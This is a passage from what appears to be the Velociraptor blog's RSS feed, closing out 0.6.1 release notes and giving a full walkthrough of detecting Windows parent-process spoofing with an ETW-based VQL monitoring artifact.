like.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/timeline-9.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting the timeline&#34;&#xA;         width=&#34;1352&#34; height=&#34;471&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;timeline-9.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the timeline&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When you add other timelines to the same Super-timeline you will see&#xA;the events in order on the same table rendered with different&#xA;colors. You can turn a child timeline on or off by unchecking the name&#xA;of the child timeline within the timeline view.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vql-changes&#34;&gt;VQL Changes&lt;/h2&gt;&#xA;&lt;p&gt;In this release there are many improvements to the VQL language&#xA;including new plugins, functions and enhanced capability. Let&amp;rsquo;s talk&#xA;about some of the interesting changes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;starlark-is-now-available-in-vql&#34;&gt;Starlark is now available in VQL&lt;/h3&gt;&#xA;&lt;p&gt;VQL has always been more of a glue language - connecting the results&#xA;of multiple plugins, filtering and some basic manipulation of the&#xA;results. Although VQL is getting more powerful all the time, sometimes&#xA;it is just easier to do more complicated operations in a more&#xA;traditional language, such as Python.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/bazelbuild/starlark&#34; target=&#34;_blank&#34; &gt;Starlark&lt;/a&gt; is a mini-python&#xA;interpreter that can be embedded into Go programs. Velociraptor now&#xA;features a starlark interpreter built in! This is useful when you need&#xA;to perform more intricate functional style of programming.&lt;/p&gt;&#xA;&lt;p&gt;Here is a very simple example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET StarCode = starl(code=&#39;&#39;&#39;&#xA;def Foo(x):&#xA;   return x + 2&#xA;&#39;&#39;&#39;)&#xA;&#xA;SELECT StarCode.Foo(x=2)&#xA;FROM scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first statement defines a Starlark module by simply calling the&#xA;&lt;code&gt;starl()&lt;/code&gt; function on some python code. The &lt;code&gt;starl()&lt;/code&gt; function&#xA;compiles the code into a module. VQL queries can then access code&#xA;within the Starlark module by just calling is as normal. This is most&#xA;helpful when we need to do specific manipulation of strings, numbers&#xA;etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;functions-that-manipulate-endpoint-state&#34;&gt;Functions that manipulate endpoint state&lt;/h3&gt;&#xA;&lt;p&gt;When we first designed Velociraptor we wanted it to be a read only,&#xA;forensic system. However, as people use Velociraptor more and more for&#xA;&lt;code&gt;Response&lt;/code&gt; we realized that the R in DFIR requires the tool to&#xA;actively change the endpoint! Whether it is to uninstall malware,&#xA;correct a vulnerability, or cut off access to a compromised system, we&#xA;needed the ability to change settings on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;That is why the latest release introduces a number of new VQL&#xA;functions, such as &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;reg_set_value&lt;/code&gt;,&lt;code&gt;reg_rm_value&lt;/code&gt; and &lt;code&gt;reg_rm_key&lt;/code&gt;&#xA;that allow VQL queries to modify the registry or files.&lt;/p&gt;&#xA;&lt;h3 id=&#34;server-side-vql-functions&#34;&gt;Server side VQL functions&lt;/h3&gt;&#xA;&lt;p&gt;On the server, Velociraptor now has the &lt;code&gt;user_delete()&lt;/code&gt; and&#xA;&lt;code&gt;user_create()&lt;/code&gt; to manipulate GUI users. This allows for VQL to&#xA;automate initial server provisioning by adding the right users to a&#xA;new server.&lt;/p&gt;&#xA;&lt;p&gt;We also have the ability to enrich IP addresses via the &lt;code&gt;geoip()&lt;/code&gt; VQL&#xA;function. This function allows using a MaxMind database to resolve IP&#xA;addresses to location.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notable-artifacts&#34;&gt;Notable artifacts&lt;/h2&gt;&#xA;&lt;h3 id=&#34;carving-cobalt-strike-configurations-from-memory&#34;&gt;Carving Cobalt Strike configurations from memory&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.Carving.CobaltStrike&lt;/code&gt; artifact can now carve and decode&#xA;the CobaltStrike configuration from memory. This is very helpful to&#xA;identify the C&amp;amp;C and other configuration parameters encoded within the&#xA;configuration.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/cs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Uncovering Cobalt Strike Config from memory&#34;&#xA;         width=&#34;1129&#34; height=&#34;356&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Uncovering Cobalt Strike Config from memory&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-changes&#34;&gt;Other changes&lt;/h2&gt;&#xA;&lt;h3 id=&#34;client-index-rewrite&#34;&gt;Client index rewrite&lt;/h3&gt;&#xA;&lt;p&gt;The client index is used in Velociraptor to quickly search for clients&#xA;in the GUI. Previously this was implemented in a way that proved very&#xA;inefficient on network volumes like EFS. The index has been upgraded&#xA;in 0.6.1 to a more performant structure.&lt;/p&gt;&#xA;&lt;p&gt;The index will be converted to the new format when the latest 0.6.1&#xA;Velociraptor is started for the first time. On EFS volume conversion&#xA;might take a while (several hours) due to the underlying slow&#xA;filesystem. Once this conversion is complete it need not be done&#xA;again.&lt;/p&gt;&#xA;&lt;p&gt;The new index performs well above 20k clients on EFS (Previously only&#xA;SSD was usable at these numbers).&lt;/p&gt;&#xA;&lt;p&gt;If you liked the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;There is still time to submit it to this year&amp;rsquo;s &lt;a href=&#34;https://www.velociraptor-docs.org/announcements/2021-artifact-contest/&#34;&gt;2021 Velociraptor&#xA;Contributor&#xA;Competition&lt;/a&gt;,&#xA;where you can win prizes, honor and support the entire DFIR&#xA;community. Alternatively, you can share your artifacts with the&#xA;community on &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Velociraptor&amp;rsquo;s Artifact&#xA;Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>ETW Part 2: Process Parent Spoofing</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing/</link>
      <pubDate>Fri, 03 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing/</guid>
      <description>&lt;h2 id=&#34;process-parent-spoofing&#34;&gt;Process Parent Spoofing&lt;/h2&gt;&#xA;&lt;p&gt;A lot of the current state of the art detection techniques rely on&#xA;process creation logs, and their implied parent/child&#xA;relationships. For example, many detection rules alert when Powershell&#xA;is launched from &lt;code&gt;WinWord.exe&lt;/code&gt; as it typically indicates a macro has&#xA;started a powershell payload.&lt;/p&gt;&#xA;&lt;p&gt;Many people are sometimes surprised to learn that on Windows&#xA;parent/child process relationship is not particularly reliable. Back&#xA;in 2009, Didier Stevens released a demo tool called&#xA;&lt;a href=&#34;https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/&#34; target=&#34;_blank&#34; &gt;SelectMyParent&lt;/a&gt;&#xA;demonstrating a quirk of the Windows &lt;code&gt;CreateProcess&lt;/code&gt; API that allows any&#xA;caller to simply spoof the parent process ID.  This is particularly&#xA;troublesome, especially when so much of the DFIR industry relies on&#xA;process tracing of parent/child call chain. Further, parent spoofing&#xA;does not require any special privileges and can be performed by&#xA;non-admin users as well.&lt;/p&gt;&#xA;&lt;p&gt;Didier Stevens wrote about it again in 2017&amp;rsquo;s post &lt;a href=&#34;https://blog.didierstevens.com/2017/03/20/&#34; target=&#34;_blank&#34; &gt;That Is Not My&#xA;Child Process!&lt;/a&gt; where even&#xA;&lt;code&gt;Sysmon&lt;/code&gt; and &lt;code&gt;Volatility memory analysis&lt;/code&gt; are demonstrated to be&#xA;fooled by &lt;code&gt;SelectMyParent&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;p&gt;If you thought this was an unknown technique, rest assured that most&#xA;attack tools integrate parent process spoofing already. For example&#xA;&lt;a href=&#34;https://www.youtube.com/watch?v=DOe7WTuJ1Ac&#34; target=&#34;_blank&#34; &gt;Cobalt Strike&lt;/a&gt; has been&#xA;able to do this for a number of years now, and the technique is&#xA;actively used frequently to avoid behavioural detection.&lt;/p&gt;&#xA;&lt;p&gt;How can one detect this kind of spoofing? I found it surprising that&#xA;there are no indicators that a process has been spoofed that can be&#xA;gathered from an already running process (If you know of any, please&#xA;let me know!). As Didier Stevens shows in his 2017 post above, even&#xA;memory analysis can not reveal the real parent of a process.&lt;/p&gt;&#xA;&lt;p&gt;The only way to learn that a process parent has been spoofed is using&#xA;ETW, as outlined in the F-Secure post &lt;a href=&#34;https://blog.f-secure.com/detecting-parent-pid-spoofing/&#34; target=&#34;_blank&#34; &gt;Detecting Parent PID&#xA;Spoofing&lt;/a&gt;. Let&amp;rsquo;s&#xA;play with this detection and see how effective it is.&lt;/p&gt;&#xA;&lt;h3 id=&#34;spoofing-parent-processes&#34;&gt;Spoofing Parent processes&lt;/h3&gt;&#xA;&lt;p&gt;I will use Didier&amp;rsquo;s tool &lt;code&gt;SelectMyParent&lt;/code&gt; to spoof &lt;code&gt;notepad.exe&lt;/code&gt; as&#xA;being a child of &lt;code&gt;OneDrive.exe&lt;/code&gt;. First I use the task manager to find&#xA;the Process ID of OneDrive and then start notepad with this as the&#xA;parent.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing/spoofing_notepad_parent.png&#34;&#xA;     width=&#34;679&#34;&#xA;     height=&#34;188&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;On this system I have Sysmon installed, so I will find the process&#xA;creation event in the event viewer.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/sysmon_spoofed.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Sysmon event log ID 1 of spoofed process&#34;&#xA;         width=&#34;1412&#34; height=&#34;935&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;sysmon_spoofed.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Sysmon event log ID 1 of spoofed process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;It shows the parent process of notepad is &lt;code&gt;OneDrive.exe&lt;/code&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s write a VQL query to detect this spoofing. According to the post&#xA;above, the provider to watch is the &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt;&#xA;provider which has a GUID of&#xA;&lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;. Since the provider emits a&#xA;lot of information about all processes in the system, I will initially&#xA;narrow down event to only those that have &lt;code&gt;notepad&lt;/code&gt; somewhere in the&#xA;event data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT *&#xA;FROM watch_etw(guid=&amp;quot;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&amp;quot;)&#xA;WHERE serialize(item=EventData) =~ &amp;quot;notepad&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/spoofed_etw_query.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;VQL query that detects the spoofed process&#34;&#xA;         width=&#34;1459&#34; height=&#34;799&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;spoofed_etw_query.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    VQL query that detects the spoofed process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above query we can see the anomaly immediately! The process&#xA;that generated the EWT event is not the same as the process parent&#xA;pid!&lt;/p&gt;&#xA;&lt;p&gt;This anomaly allows us to detect the spoofing behavior, now we just&#xA;need to enrich the event with extra detail of the real parent, the&#xA;spoofed parent etc. You can find the full VQL artifact on the &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Velociraptor Artifact Exchange&lt;/a&gt; &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/windows.etw.detectprocessspoofing/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/artifact_exchange.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Searching the Artifact Exchange&#34;&#xA;         width=&#34;1341&#34; height=&#34;752&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;artifact_exchange.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Searching the Artifact Exchange&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To add this artifact, I will navigate to the &lt;code&gt;View Artifacts&lt;/code&gt; screen,&#xA;then click &lt;code&gt;Add an Artifact&lt;/code&gt; button, then copy and paste the Artifact&#xA;definition from the exchange into the editor.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/adding_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding the custom artifact&#34;&#xA;         width=&#34;1425&#34; height=&#34;659&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding the custom artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I will add this artifact to all client&amp;rsquo;s monitoring&#xA;configuration. I click the &lt;code&gt;Event Monitoring&lt;/code&gt; screen in the GUI then&#xA;the &lt;code&gt;Update client monitoring table&lt;/code&gt; button.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/targetting_monitoring.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Targeting all clients for monitoring&#34;&#xA;         width=&#34;1171&#34; height=&#34;498&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;targetting_monitoring.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Targeting all clients for monitoring&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To add the new artifact to the client&amp;rsquo;s monitoring table I will select&#xA;it in the next step.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/add_monitoring_artifact.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Selecting the artifact to monitor&#34;&#xA;         width=&#34;1904&#34; height=&#34;902&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;add_monitoring_artifact.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Selecting the artifact to monitor&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As soon as the monitor table is updated, all clients will refresh&#xA;their configuration and start monitoring for spoofing. We can see this&#xA;by viewing the query logs in the event viewer GUI&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/monitoring_artifact_logs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing query logs for monitoring artifacts&#34;&#xA;         width=&#34;1915&#34; height=&#34;624&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;monitoring_artifact_logs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing query logs for monitoring artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can clearly see the client is installing some ETW sessions to&#xA;monitor the provider. We also see a message every few minutes to&#xA;remind us that the client is still monitoring for events. When an&#xA;event is detected, the client immediately forwards the event to the&#xA;server.&lt;/p&gt;&#xA;&lt;p&gt;We can repeat our experiment and see the event generated by selecting&#xA;the &lt;code&gt;Raw Data&lt;/code&gt; view in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/monitoring_artifact_event.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing hits on the server&#34;&#xA;         width=&#34;1916&#34; height=&#34;784&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;monitoring_artifact_event.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing hits on the server&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Again we see the events in the timeline, but this time the row&#xA;contains all the enriched information, like the real identity of the&#xA;parent process!&lt;/p&gt;&#xA;&lt;h2 id=&#34;false-positives&#34;&gt;False Positives&lt;/h2&gt;&#xA;&lt;p&gt;After having this rule running for while you might notice some false&#xA;positives - legitimate cases of parent process spoofing include the&#xA;UAC prompt.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-03-process-spoofing//blog/2021/2021-09-03-process-spoofing/fp.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;False Positive of parent process spoofing&#34;&#xA;         width=&#34;1818&#34; height=&#34;784&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;fp.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    False Positive of parent process spoofing&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;When elevating a command to &amp;ldquo;run as admin&amp;rdquo; the UAC prompt shows. Once&#xA;the prompt is approved, the UAC manager launches the target program&#xA;and spoofs the parent process.&lt;/p&gt;&#xA;&lt;p&gt;Other cases of legitimate parent process spoofing include the Windows&#xA;Error Reporting.&lt;/p&gt;&#xA;&lt;p&gt;I thought it would be interesting to see UAC elevations and program&#xA;crashes as well, so I did not filter those out.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;In this post we implemented a sophisticated ETW based detection rule&#xA;in VQL. We then wrote an artifact to encapsulate it and shared the&#xA;artifact over the &lt;code&gt;Velociraptor Artifact Exchange&lt;/code&gt; for other members&#xA;of the community to use.&lt;/p&gt;&#xA;&lt;p&gt;After adding the artifact to our deployment, we then issued the&#xA;monitoring query to all clients. When any client detected the spoofing&#xA;behavior, an event was sent to server in real time. We could then&#xA;utilize any escalation mechanism such as &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-12-26-slack-and-velociraptor-b63803ba4b16/&#34;&gt;escalation through&#xA;slack&lt;/a&gt;&#xA;or a &lt;a href=&#34;https://wlambertts.medium.com/zero-dollar-detection-and-response-orchestration-with-n8n-security-onion-thehive-and-10b5e685e2a1&#34; target=&#34;_blank&#34; &gt;The&#xA;Hive&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The interesting thing about this approach is that the detection rule&#xA;is implemented on the endpoint itself. It is the endpoint that is&#xA;watching the ETW events directly and making the decision about the&#xA;anomalous nature of the event. Therefore the number of events actually&#xA;streamed to the server is very small - most events will be high value&#xA;events (such as real parent spoofing, UAC elevation and crashes).&lt;/p&gt;&#xA;&lt;p&gt;Other Log forwarding technologies simply stream &lt;strong&gt;all process creation&#xA;events&lt;/strong&gt; to a large backend server, where detection queries are&#xA;implemented in large data mining engines. This increases the volume of&#xA;irrelevant events forwarded to the server (most process execution&#xA;events are not malicious!), requiring more backend processing&#xA;capacity.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s approach is very different! Velociraptor moves the&#xA;initial analysis and triage to the end point, implemented via the&#xA;powerful VQL query language. This means we do not need a lot of&#xA;processing on the backend to scale to many thousands of monitored&#xA;endpoints, as the server only sees high value, low volume events. We&#xA;are essentially using the end point itself to create a de-centralized&#xA;detection engine for a fast and scalable alerting system.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately an ETW watcher must be running at the time the process&#xA;is created, to be able to identify the spoofed parent. I am not&#xA;currently aware of a way to detect that an existing process&amp;rsquo;s reported&#xA;parent is not correct (Please let me know if you know of a way!). This&#xA;means that simply collecting information at a point in time after the&#xA;process is started (as in a Velociraptor &lt;code&gt;pslist&lt;/code&gt; hunt for example)&#xA;does not reveal this information easily.&lt;/p&gt;&#xA;&lt;p&gt;In the next blog post in this series we will be looking at how ETW can&#xA;be abused by malware and some of the limitations around ETW.&lt;/p&gt;&#xA;&lt;p&gt;If you have a great idea for a new detection query, take&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a spin&lt;/a&gt;!&#xA;It is a available on GitHub under an open source license. As always&#xA;please file issues on the bug tracker or ask questions on our mailing&#xA;list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;There is still time to submit it to this year&amp;rsquo;s &lt;a href=&#34;https://www.velociraptor-docs.org/announcements/2021-artifact-contest/&#34;&gt;2021 Velociraptor&#xA;Contributor&#xA;Competition&lt;/a&gt;,&#xA;where you can win prizes, honor and support the entire DFIR&#xA;community. Alternatively, you can share your artifacts with the&#xA;community on &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Velociraptor&amp;rsquo;s Artifact&#xA;Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Event Tracing for Windows Part 1</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw/</link>
      <pubDate>Thu, 02 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-08-18-velociraptor-and-etw/</guid>
